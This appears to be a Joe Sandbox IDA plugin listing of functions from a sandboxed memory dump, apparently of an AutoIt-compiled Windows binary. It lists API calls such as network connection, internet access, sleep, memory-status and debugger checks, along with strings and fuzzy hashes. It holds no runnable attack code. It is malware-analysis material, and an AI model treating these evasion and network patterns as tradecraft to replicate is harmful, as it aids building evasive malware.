WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00FD4ED4

Strings

*, xrefs: 00FD4E10
LPT, xrefs: 00FD4DFB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: f8b7245a0dad8084566df820e4ea918b71ef68349bba3462cba7895b573de3c1
Instruction ID: 548172e31ebc20c3913b70d1fb1849ac50d08b54d6b5413804002c676e30dd7e
Opcode Fuzzy Hash: f8b7245a0dad8084566df820e4ea918b71ef68349bba3462cba7895b573de3c1
Instruction Fuzzy Hash: 40917375E002449FCB14DF54C484EA9BBF6BF44314F18809AE80A9F3A2D735ED85DB91

Function 00F7E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00F7E1B1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 51dfc106711c8d37842590c2aaeebef48b81f142e3b74eaabf0520e61a873977
Instruction ID: 0861ad70ff76c74265929154bdd49159f7edce2c8a6cce9cc9b551c34faa7305
Opcode Fuzzy Hash: 51dfc106711c8d37842590c2aaeebef48b81f142e3b74eaabf0520e61a873977
Instruction Fuzzy Hash: 42516635E04246EFDB14DF68C4406FA7BA8EF19320F248056ECA19B2D1DA349D42FB91

Function 00F7F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00F7F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00F7F2BB

Strings

@, xrefs: 00F7F2AF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 8299b7323bcbe1627c6a81ce2ed9ba045c6843d48c214709d42629a4d68eea3a
Instruction ID: 807ddc9e70531d08e9ff0ef23c4161b8c63d59f2df3c755c783a606e73a06c4c
Opcode Fuzzy Hash: 8299b7323bcbe1627c6a81ce2ed9ba045c6843d48c214709d42629a4d68eea3a
Instruction Fuzzy Hash: FB517671418748ABD320AF50DC86BABBBF8FF84304F81884DF2D941195EB758529CBA7

Function 00FE5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00FE57E0
_wcslen.LIBCMT ref: 00FE57EC

Strings

CALLARGARRAY, xrefs: 00FE57E6, 00FE57EB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 31e1c49da0c7e65ae8342062f9d0b151783b497b8ab4c74f07d4ebf84b0313fb
Instruction ID: 04181b5b96cde1c1e4108e43c731ce309e05ef7b741b8efcd72cd4b286238589
Opcode Fuzzy Hash: 31e1c49da0c7e65ae8342062f9d0b151783b497b8ab4c74f07d4ebf84b0313fb
Instruction Fuzzy Hash: 0241E231E002099FCB04DFA9C8819BEBBF5FF59728F10402AE505E7251E7349E81EB90

Function 00FDD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FDD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00FDD13A

Strings

|, xrefs: 00FDD10B

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: a87c93ddaca55a12ca1b73bf24ca01ea24ee7400c5e51c7a1f3a8b52e5cb2d34
Instruction ID: 4cd6384006259ca6915d29b7954dac6ab7e5e2657e5c108105cd4f434430d508
Opcode Fuzzy Hash: a87c93ddaca55a12ca1b73bf24ca01ea24ee7400c5e51c7a1f3a8b52e5cb2d34
Instruction Fuzzy Hash: 03314F71D00219ABDF15EFA4CC85EEEBFBAFF14310F140119F815A6262D735AA06EB94

Function 00FF356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00FF3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00FF365C

Strings

static, xrefs: 00FF35BC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 63a29c3f484f214370726d72664f0167ba1d22271b6ad9a741b9863683e807c4
Instruction ID: cfd7e2d012cfded45879b7abcfd49e253487fbe93e9c44104c2375b6e699c7b3
Opcode Fuzzy Hash: 63a29c3f484f214370726d72664f0167ba1d22271b6ad9a741b9863683e807c4
Instruction Fuzzy Hash: B7319071500208AEDB109F68DC80EFB73A9FF88764F008619FAA5D7290DA75ED81E760

Function 00FF4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00FF461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00FF4634

Strings

', xrefs: 00FF458E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: a32d005d0bdf711474b9362b83c7e87b6285917f951c23fd67c0f524fbe0817e
Instruction ID: 59a0eff3643c2532d156bf03e448417c0788f0e4a761c363e78acaea3ad3dc06
Opcode Fuzzy Hash: a32d005d0bdf711474b9362b83c7e87b6285917f951c23fd67c0f524fbe0817e
Instruction Fuzzy Hash: 40313975A0020D9FDB14DF69C980BEABBB5FF49310F18406AEA04EB391D770A941DF90

Function 00FF31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00FF327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FF3287

Strings

Combobox, xrefs: 00FF3249

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: e3ea1100e97b2676eca83a944f58090e858bf0c7ff334ce36dfa72030b265490
Instruction ID: bb5d289d26ea4fb27574d29a86f241b318f6cccd943d22601f2b30d4deebcb4a
Opcode Fuzzy Hash: e3ea1100e97b2676eca83a944f58090e858bf0c7ff334ce36dfa72030b265490
Instruction Fuzzy Hash: AD11907160020C7FEF219E54DC80EBB376AEF983A4F104129FA18972A0D6759D51A760

Function 00FF3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00F6600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00F6604C
Part of subcall function 00F6600E: GetStockObject.GDI32(00000011), ref: 00F66060
Part of subcall function 00F6600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F6606A

GetWindowRect.USER32(00000000,?), ref: 00FF377A
GetSysColor.USER32(00000012), ref: 00FF3794

Strings

static, xrefs: 00FF3757

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: ba939d703608f1768f141ca477fec52faeb0344706d74d06144afd52cdca7ca3
Instruction ID: 38fb96bc5c389a89aee65a320528cdd1d0059d327606f900cd2f3549e013db14
Opcode Fuzzy Hash: ba939d703608f1768f141ca477fec52faeb0344706d74d06144afd52cdca7ca3
Instruction Fuzzy Hash: CD1129B261020EAFDB00EFA8CC45AFA7BB8EF08354F004914FA55E2260D775E851EB50

Function 00FDCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00FDCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00FDCDA6

Strings

<local>, xrefs: 00FDCD66

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 4d26b47aab2be53f9b7e2044b24ff2240a488a469cfff8d3c47163deec1a5292
Instruction ID: de2815c5dd30a98b0284c13160ef6442554080f7ec91e96ec0050b4f68d980ba
Opcode Fuzzy Hash: 4d26b47aab2be53f9b7e2044b24ff2240a488a469cfff8d3c47163deec1a5292
Instruction Fuzzy Hash: 6A11A3726056377AD7285B668C45FF7BE6FEF127B4F04422BF52983280D6609840E6F0

Function 00FF3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00FF34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00FF34BA

Strings

edit, xrefs: 00FF348F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: f844c4a534cff739c1ae2c36dbb436c0bc723fd3416eaea91e0e8a80d1082809
Instruction ID: b2572f7617b8f6e7e627df7cc817b5f436e6a7d50f88fb300d50a144bc0fdab8
Opcode Fuzzy Hash: f844c4a534cff739c1ae2c36dbb436c0bc723fd3416eaea91e0e8a80d1082809
Instruction Fuzzy Hash: DD116A7150021CAAEB228E64DC84ABA3B6AEF05374F504724FA65931E4C775EC51BB60

Function 00FC6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

CharUpperBuffW.USER32(?,?,?), ref: 00FC6CB6
_wcslen.LIBCMT ref: 00FC6CC2

Strings

STOP, xrefs: 00FC6CBC, 00FC6CC1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 7293866c469a20c920b26b167ba0c0275728a0517de7b6ed70ed9a52c498e288
Instruction ID: c8a0e1105b663aa98438ab5ef84c7e8b454a3164699ab0a11e79f91436c7427c
Opcode Fuzzy Hash: 7293866c469a20c920b26b167ba0c0275728a0517de7b6ed70ed9a52c498e288
Instruction Fuzzy Hash: 4A01C832A085278BCB20DFBDDE82EBF77B5EE61720750052CE452D7194EA35D900E650

Function 00FC1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00FC1D4C

Strings

ComboBox, xrefs: 00FC1CEB
ListBox, xrefs: 00FC1D16

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: bf09ec06a3f45a829dad22a96657d96235ebd298906ad67278f69c1963a1bf1c
Instruction ID: dbcc5b90fecf3157b3ca582d13a2c0f2ed1061ee7d31bcb54194eca6fbd7061f
Opcode Fuzzy Hash: bf09ec06a3f45a829dad22a96657d96235ebd298906ad67278f69c1963a1bf1c
Instruction Fuzzy Hash: CD012D71A0412A6BCB04EBA0CE12EFE73A8FF13360B00090DF863572C2DA755918E660

Function 00FC1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00FC1C46

Strings

ComboBox, xrefs: 00FC1BE5
ListBox, xrefs: 00FC1C10

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 7c0411f91ccbaf6ac257b17186d1b4c6ded06224e6976878a3e6d5a2e275e1c0
Instruction ID: 09ad53c64e696d4c4708189748bdd914d800ba0176fdd5eaae89f0e186c6aabf
Opcode Fuzzy Hash: 7c0411f91ccbaf6ac257b17186d1b4c6ded06224e6976878a3e6d5a2e275e1c0
Instruction Fuzzy Hash: A3018875A8511967CB04EBA0CF52FFF77ACAB12340F14001DB40667182EA649A18F6B1

Function 00FC1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00FC1CC8

Strings

ComboBox, xrefs: 00FC1C69
ListBox, xrefs: 00FC1C94

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 59171bd3d5a636803c4cfc834ddbe735f4cf61ca043d7ef715edf3aa7aaec74b
Instruction ID: 66e3a8bf1ced569d24138a7bffc38b1791635167b920ba1831fc76b437626a0f
Opcode Fuzzy Hash: 59171bd3d5a636803c4cfc834ddbe735f4cf61ca043d7ef715edf3aa7aaec74b
Instruction Fuzzy Hash: 3001A771B4011A67CB04EBA0CF12FFE73ACAB12340F54001DB80177282EA649F28F671

Function 00FC1D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

Part of subcall function 00FC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00FC3CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00FC1DD3

Strings

ComboBox, xrefs: 00FC1D75
ListBox, xrefs: 00FC1DA0

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2a088f91ddc93908940f56a59cfbbe8ab291d31f47e2c189e8e9cb68cae9faff
Instruction ID: 55781949973ff1eacb60883add9dd40f4036d01aef2d08401158931f513b3772
Opcode Fuzzy Hash: 2a088f91ddc93908940f56a59cfbbe8ab291d31f47e2c189e8e9cb68cae9faff
Instruction Fuzzy Hash: C8F0F971A4422A67C704F7A4CE53FFF73ACFB02350F04091DF822672C2DA745918A660

Function 00FE747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FE7493
_wcslen.LIBCMT ref: 00FE74B9

Strings

3, 3, 16, 1, xrefs: 00FE7483

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: c96fe72510021ae28c839e2c40c1d109469064e9fb6038dae72b43add5a22633
Instruction ID: 1a17c0040510b12f8e00b1ada52fd58030e65cc20cdc1445c5657810612667b1
Opcode Fuzzy Hash: c96fe72510021ae28c839e2c40c1d109469064e9fb6038dae72b43add5a22633
Instruction Fuzzy Hash: D9E06102705361509331727BDCC19BF7689CFC9770710182BF989C22A6EB98DD91B3A1

Function 00FC0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00FC0B23

Strings

AutoIt, xrefs: 00FC0B17
Error allocating memory., xrefs: 00FC0B1C

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 77ea6e92e75fe3e84ca1e4c3f32b6f90f26aca2bbddbeca5dd24c76503a9ef3e
Instruction ID: 05311715a1752a9c730f7128112766e2e3306519bb3dc0626a815d1baf784b95
Opcode Fuzzy Hash: 77ea6e92e75fe3e84ca1e4c3f32b6f90f26aca2bbddbeca5dd24c76503a9ef3e
Instruction Fuzzy Hash: 14E0483228532D2AD22437557D03FD97A848F05B61F10442BF798D55D38ED5645076EA

Function 00F80D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F7F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00F80D71,?,?,?,00F6100A), ref: 00F7F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00F6100A), ref: 00F80D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00F6100A), ref: 00F80D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00F80D7F

Memory Dump Source

